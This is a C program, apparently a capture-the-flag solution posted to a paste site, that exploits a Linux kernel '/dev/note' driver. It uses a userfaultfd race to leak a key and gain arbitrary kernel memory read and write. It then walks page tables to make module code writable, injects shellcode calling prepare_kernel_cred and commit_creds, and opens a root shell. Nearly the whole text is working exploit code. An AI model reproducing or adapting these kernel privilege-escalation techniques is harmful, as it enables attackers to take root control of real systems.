· 6 years ago · Oct 25, 2019, 03:00 AM
1#include <stdio.h>
2#include <stdlib.h>
3#include <unistd.h>
4#include <string.h>
5#include <fcntl.h>
6#include <poll.h>
7#include <pthread.h>
8#include <stdio.h>
9#include <unistd.h>
10#include <sys/ioctl.h>
11#include <sys/mman.h>
12#include <sys/syscall.h>
13#include <linux/userfaultfd.h>
14#define NOTE_CREATE -256
15#define NOTE_VIEW -254
16#define NOTE_DELETEALL -253
17#define NOTE_EDIT -255
18#define PAGESIZE 0x1000
19#define THREAD_CNT 200
20#define SPRAY_CNT 32*32
21#define SPRAY_SIZE 1024*64
22#define STACK_END_MAGIC 0x0000000057ac6e9d
23#define STACK_SZ 0x8000
24#define MASK 0xfffffffffff00000
25#define PGDIR_SHIFT 39
26#define PMD_SHIFT 30
27#define PT_SHIFT 21
28#define PAGE_SHIFT 12
29struct request {
30 off_t index;
31 size_t length;
32 char *noteBuf;
33};
34int userfaultfd(int flags)
35{
36 return syscall(SYS_userfaultfd, flags);
37}
38int create(size_t length, char *buf) {
39 int fd;
40 struct request req;
41 req.index = 0;
42 req.length = length;
43 req.noteBuf = buf;
44 fd = Open("/dev/note", O_RDONLY);
45 if (ioctl(fd, NOTE_CREATE, &req) < 0){
46 return -1;
47 }
48 close(fd);
49 return 0;
50}
51void view(off_t index, char *buf) {
52 int fd;
53 struct request req;
54 req.index = index;
55 req.length = 0;
56 req.noteBuf = buf;
57 fd = Open("/dev/note", O_RDONLY);
58 if (ioctl(fd, NOTE_VIEW, &req) < 0){
59 perror("ioctl(view)");
60 exit(-1);
61 }
62 close(fd);
63}
64void deleteAll() {
65 int fd;
66 struct request req;
67 req.index = 0;
68 req.length = 0;
69 req.noteBuf = NULL;
70 fd = Open("/dev/note", O_RDONLY);
71 if (ioctl(fd, NOTE_DELETEALL, &req) < 0){
72 perror("ioctl(deleteall)");
73 exit(-1);
74 }
75 close(fd);
76}
77void editZero(char *buf) {
78 int fd;
79 struct request req;
80 req.index = 0;
81 req.length = 0;
82 req.noteBuf = buf;
83 fd = Open("/dev/note", O_RDONLY);
84 printf("[*] edit entry\n");
85 if (ioctl(fd, NOTE_EDIT, &req) < 0){
86 return -1;
87 }
88
89 printf("[*] edit done\n");
90 close(fd);
91 return 0;
92}
93void edit(int index, char *buf) {
94 int fd;
95 struct request req;
96 req.index = index;
97 req.length = 0;
98 req.noteBuf = buf;
99 fd = Open("/dev/note", O_RDONLY);
100 if (ioctl(fd, NOTE_EDIT, &req) < 0){
101 return -1;
102 }
103 close(fd);
104 return 0;
105}
106int Open(char *filename, int flags) {
107 int t = open("/dev/note", O_RDWR);
108 if (t < 0) {
109 perror("open");
110 exit(-1);
111 }
112 return t;
113}
114int prepareUFD(pages, memsize) {
115 int fd = 0;
116 if ((fd = userfaultfd(O_NONBLOCK)) == -1) {
117 fprintf(stderr, "++ userfaultfd failed: %m\n");
118 exit(-1);
119 }
120 /* When first opened the userfaultfd must be enabled invoking the
121 UFFDIO_API ioctl specifying a uffdio_api.api value set to UFFD_API
122 (or a later API version) which will specify the read/POLLIN protocol
123 userland intends to speak on the UFFD and the uffdio_api.features
124 userland requires. The UFFDIO_API ioctl if successful (i.e. if the
125 requested uffdio_api.api is spoken also by the running kernel and the
126 requested features are going to be enabled) will return into
127 uffdio_api.features and uffdio_api.ioctls two 64bit bitmasks of
128 respectively all the available features of the read(2) protocol and
129 the generic ioctl available. */
130 struct uffdio_api api = { .api = UFFD_API };
131 if (ioctl(fd, UFFDIO_API, &api)) {
132 fprintf(stderr, "++ ioctl(fd, UFFDIO_API, ...) failed: %m\n");
133 exit(-1);
134 }
135 /* "Once the userfaultfd has been enabled the UFFDIO_REGISTER ioctl
136 should be invoked (if present in the returned uffdio_api.ioctls
137 bitmask) to register a memory range in the userfaultfd by setting the
138 uffdio_register structure accordingly. The uffdio_register.mode
139 bitmask will specify to the kernel which kind of faults to track for
140 the range (UFFDIO_REGISTER_MODE_MISSING would track missing
141 pages). The UFFDIO_REGISTER ioctl will return the uffdio_register
142 . ioctls bitmask of ioctls that are suitable to resolve userfaults on
143 the range registered. Not all ioctls will necessarily be supported
144 for all memory types depending on the underlying virtual memory
145 backend (anonymous memory vs tmpfs vs real filebacked mappings)." */
146 if (api.api != UFFD_API) {
147 fprintf(stderr, "++ unexepcted UFFD api version.\n");
148 exit(-1);
149 }
150 /* mmap some pages, set them up with the userfaultfd. */
151 struct uffdio_register reg = {
152 .mode = UFFDIO_REGISTER_MODE_MISSING,
153 .range = {
154 .start = (long) pages,
155 .len = memsize
156 }
157 };
158 if (ioctl(fd, UFFDIO_REGISTER, ®)) {
159 fprintf(stderr, "++ ioctl(fd, UFFDIO_REGISTER, ...) failed: %m\n");
160 exit(-1);
161 }
162 if (reg.ioctls != UFFD_API_RANGE_IOCTLS) {
163 fprintf(stderr, "++ unexpected UFFD ioctls.\n");
164 exit(-1);
165 }
166 return fd;
167}
168void XOR(void *in, void *out, unsigned long key, size_t len) {
169 unsigned long *in_ = (unsigned long *)in;
170 unsigned long *out_ = (unsigned long *)out;
171 for (int i = 0; i < len/8; i++) {
172 out_[i] = in_[i] ^ key;
173 }
174}
175unsigned long leakKey(){
176 // first phase: leak key
177 char writebuf[0x100];
178 char readbuf[0xffff];
179 unsigned long key;
180 memset(writebuf, 0, sizeof(writebuf));
181 writebuf[0x10+0x8] = 0xff;
182
183 pthread_t tid;
184 /* partial overwrite, overwrite length of note 1 partially */
185 if (create(0x10+0x8+0x1, writebuf) < 0) {
186 fprintf(stderr, "[!] initial create failed!\n");
187 exit(-1);
188 }
189 void *pages = mmap((void *)0xdead000, 0x1000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
190 if (pages == MAP_FAILED) {
191 perror("mmap");
192 exit(-1);
193 }
194
195 int ufd = prepareUFD(pages, 0x2000);
196 printf("[+] ufd: %d\n", ufd);
197
198 pthread_create(&tid, NULL, editZero, pages);
199 /*
200 pid_t pid = fork();
201 if (pid < 0) {
202 perror("fork");
203 }
204 else if (pid == 0) {
205 editZero(pages);
206 }*/
207 /* handle page fault */
208 struct pollfd evt = { .fd = ufd, .events = POLLIN };
209 while (poll(&evt, 1, 10) > 0) {
210 /* unexpected poll events */
211 if (evt.revents & POLLERR) {
212 perror("poll");
213 exit(-1);
214 } else if (evt.revents & POLLHUP) {
215 perror("pollhup");
216 exit(-1);
217 }
218 struct uffd_msg fault_msg = {0};
219 if (read(ufd, &fault_msg, sizeof(fault_msg)) != sizeof(fault_msg)) {
220 perror("read");
221 exit(-1);
222 }
223 char *place = (char *)fault_msg.arg.pagefault.address;
224 if (fault_msg.event != UFFD_EVENT_PAGEFAULT
225 || (place != pages && place != pages + PAGESIZE)) {
226 fprintf(stderr, "unexpected pagefault?.\n");
227 exit(-1);
228 }
229 if (place == (void *)0xdead000) {
230 printf("[+] got page fault at address %p, nice!\n", place);
231 printf("[*] now deleting and adding two more notes\n");
232 deleteAll();
233 create(0x10, writebuf);
234 create(0x10, writebuf);
235 printf("[*] done! now releasing ufd to finish exit\n");
236 /* release by copying some data to faulting address */
237 struct uffdio_copy copy = {
238 .dst = (long) place,
239 .src = (long) writebuf,
240 .len = PAGESIZE
241 };
242 if (ioctl(ufd, UFFDIO_COPY, ©) < 0) {
243 perror("ioctl(UFFDIO_COPY)");
244 exit(-1);
245 }
246 /* now edit will overflow to 1, and key, length and ptr and contents of note1 will be altered by the overflow */
247 /* overflow content = key ^ userprovided content */
248 break;
249 }
250 }
251
252 pthread_join(tid, NULL);
253 view(1, readbuf);
254
255 unsigned long *ptr = (unsigned long *)readbuf;
256
257 // kernel pointer leak (key)
258
259 key = ptr[2];
260 printf("[+] kernel infoleak: %p\n", (void *)key);
261 return key;
262}
263unsigned long key;
264unsigned long moduleBase, pageOffsetBase;
265unsigned long read64(unsigned long addr) {
266 unsigned long writebuf[0x10];
267 unsigned long readbuf[0x10];
268 unsigned long pt[0x10];
269 unsigned long ct[0x10];
270 pt[0] = 0x0;
271 pt[1] = 0x0;
272 pt[2] = 0x0; // key
273 pt[3] = 0x8; //length
274 pt[4] = addr - pageOffsetBase;
275 XOR(pt, ct, key, 5*8);
276 edit(1, ct);
277 view(2,readbuf);
278 return readbuf[0];
279}
280void readLen(unsigned long addr, size_t length, void *buf) {
281 unsigned long writebuf[0x10];
282 unsigned long pt[0x10];
283 unsigned long ct[0x10];
284 pt[0] = 0x0;
285 pt[1] = 0x0;
286 pt[2] = 0x0; // key
287 pt[3] = length; //length
288 pt[4] = addr - pageOffsetBase;
289 XOR(pt, ct, key, 5*8);
290 edit(1, ct);
291 view(2,buf);
292}
293void write64(unsigned long addr, unsigned long data) {
294 unsigned long writebuf[0x10];
295 unsigned long readbuf[0x10];
296 unsigned long pt[0x10];
297 unsigned long ct[0x10];
298 pt[0] = 0x0;
299 pt[1] = 0x0;
300 pt[2] = 0x0; // key
301 pt[3] = 0x8; //length
302 pt[4] = addr - pageOffsetBase;
303 XOR(pt, ct, key, 5*8);
304 edit(1, ct);
305 writebuf[0] = data;
306 edit(2,writebuf);
307}
308void writeLen(unsigned long addr, void *writeData, size_t len) {
309 unsigned long pt[0x10];
310 unsigned long ct[0x10];
311 pt[0] = 0x0;
312 pt[1] = 0x0;
313 pt[2] = 0x0; // key
314 pt[3] = len; //length
315 pt[4] = addr - pageOffsetBase;
316 XOR(pt, ct, key, 5*8);
317 edit(1, ct);
318 edit(2, writeData);
319}
320void getShell() {
321 while(getuid()) {
322 }
323 printf("[+] wow! i suddenly got root\n");
324 system("cat /flag");
325}
326unsigned long pageTableWalk(unsigned long pgdir, unsigned long vaddr) {
327 unsigned long index1 = (vaddr >> 39) & 0x1ff;
328 unsigned long index2 = (vaddr >> 30) & 0x1ff;
329 unsigned long index3 = (vaddr >> 21) & 0x1ff;
330 unsigned long index4 = (vaddr >> 12) & 0x1ff;
331 printf("index1: %lx, index2: %lx, index3: %lx index4: %lx\n", index1, index2, index3, index4);
332
333 unsigned long lv1 = read64(pgdir + index1*8);
334 if (!lv1) {
335 printf("[!] lv1 is invalid\n");
336 exit(-1);
337 }
338 printf("lv1: %lx\n", lv1);
339 unsigned long lv2 = read64(((lv1 >> 12) << 12) + pageOffsetBase + index2*8);
340 if (!lv2) {
341 printf("[!] lv2 is invalid\n");
342 exit(-1);
343 }
344 printf("lv2: %lx\n", lv2);
345
346 unsigned long lv3 = read64(((lv2 >> 12) << 12) + pageOffsetBase + index3*8);
347 if (!lv3) {
348 printf("[!] lv3 is invalid\n");
349 exit(-1);
350 }
351 printf("lv3: %lx\n", lv3);
352 unsigned long lv4 = read64(((lv3 >> 12) << 12) + pageOffsetBase + index4*8);
353 if (!lv4) {
354 printf("[!] lv3 is invalid\n");
355 exit(-1);
356 }
357 printf("lv4: %lx\n", lv4);
358
359 unsigned long vaddr_alias = ((lv4 >> 12) << 12) + pageOffsetBase;
360 printf("vaddr alias page: %p\n", (void *)vaddr_alias);
361 unsigned long pte_addr = ((lv3 >> 12) << 12) + pageOffsetBase + index4*8;
362 printf("pte address: %p\n", (void *)pte_addr);
363
364 return pte_addr;
365}
366unsigned long prepare_kernel_cred, commit_creds, copy_from_user;
367void commit_creds_and_return() {
368 asm volatile ("xor %rdi, %rdi");
369 asm volatile ("mov $0xcccccccccccccccc, %rax");
370 asm volatile ("call %rax");
371 asm volatile ("mov %rax, %rdi");
372 asm volatile ("mov $0xdddddddddddddddd, %rax");
373 asm volatile ("call %rax");
374}
375int main() {
376 char tmp[0x10];
377 unsigned long pt[0x10];
378 unsigned long ct[0x10];
379 unsigned long readbuf[0x10];
380 unsigned long writebuf[0x10];
381 unsigned long contentPtr;
382
383 int val;
384 pthread_t tids[THREAD_CNT];
385 // first phase: leak key
386 key = leakKey();
387 // first leak the content ptr (or more exactly, pseudo-ptr?)
388 create(0x10, tmp); //2
389 view(1, readbuf);
390 contentPtr = readbuf[4] ^ key;
391 printf("[+] content pseudo-ptr: %p\n", (void *)contentPtr);
392
393 // now using the fact that note 1 has abnormally large size and we have the XOR key we can create an arbitrary fake note object.
394 pt[0] = 0x0;
395 pt[1] = 0x0;
396 pt[2] = 0x0; // key
397 pt[3] = 0x8; //length
398 pt[4] = contentPtr - 0x68 + 0x2000; // pseudo-ptr that points to notes[] array now
399
400 XOR(pt, ct, key, 5*8);
401 edit(1, ct);
402
403 // now we can abuse note 2 to do near-arbitrary read and write
404 view(2, readbuf);
405 moduleBase = readbuf[0] - 0x2520;
406 printf("[+] module base is: %p\n", (void *)moduleBase);
407 pageOffsetBase = moduleBase + 0x2520 + 0x68 - contentPtr;
408
409 printf("[+] page_offset_base is: %p\n", (void*)pageOffsetBase);
410 unsigned long leak = read64(0x6c + moduleBase);
411 printf("[+] kernel code leak: %p\n", (void *)leak);
412 long int offset = *((int *)(((char *)&leak) + 1)) + 5;
413 copy_from_user = offset + moduleBase + 0x6c;
414 commit_creds = 0xffffffff810ac680 - 0xffffffff81353e80 + copy_from_user;
415 prepare_kernel_cred = 0xffffffff810ac950 - 0xffffffff81353e80 + copy_from_user;
416 printf("[+] copy_from_user: %p\n", (void *)copy_from_user);
417 printf("[*] commit_creds: %p\n", (void *)commit_creds);
418 printf("[*] prepare_kernel_cred: %p\n", (void *)prepare_kernel_cred);
419 // walk page table and find page for module base
420 // change permissions to RWX
421 unsigned long pte_addr = pageTableWalk(key, moduleBase);
422 unsigned long default_pte = read64(pte_addr);
423 write64(pte_addr, default_pte|2);
424
425 char shellcode[0x1000];
426 memcpy(shellcode, commit_creds_and_return, 0xff);
427 for(int i = 0; i < 0xff; i++) {
428 unsigned long *pppp = &shellcode[i];
429 if (*pppp == 0xcccccccccccccccc) {
430 printf("[*] patched prepare_kernel_cred\n");
431 *pppp = prepare_kernel_cred;
432 }
433 if (*pppp == 0xdddddddddddddddd) {
434 printf("[*] patched commit_creds\n");
435 *pppp = commit_creds;
436 }
437 }
438 writeLen(moduleBase + 0x400, shellcode, 0xff);
439 writeLen(moduleBase, "\xe8\xf9\x03\x00\x00\x31\xc0\xc3", 8);
440 open("/dev/note", O_RDONLY);
441 system("/bin/sh");
442
443 return 0;
444}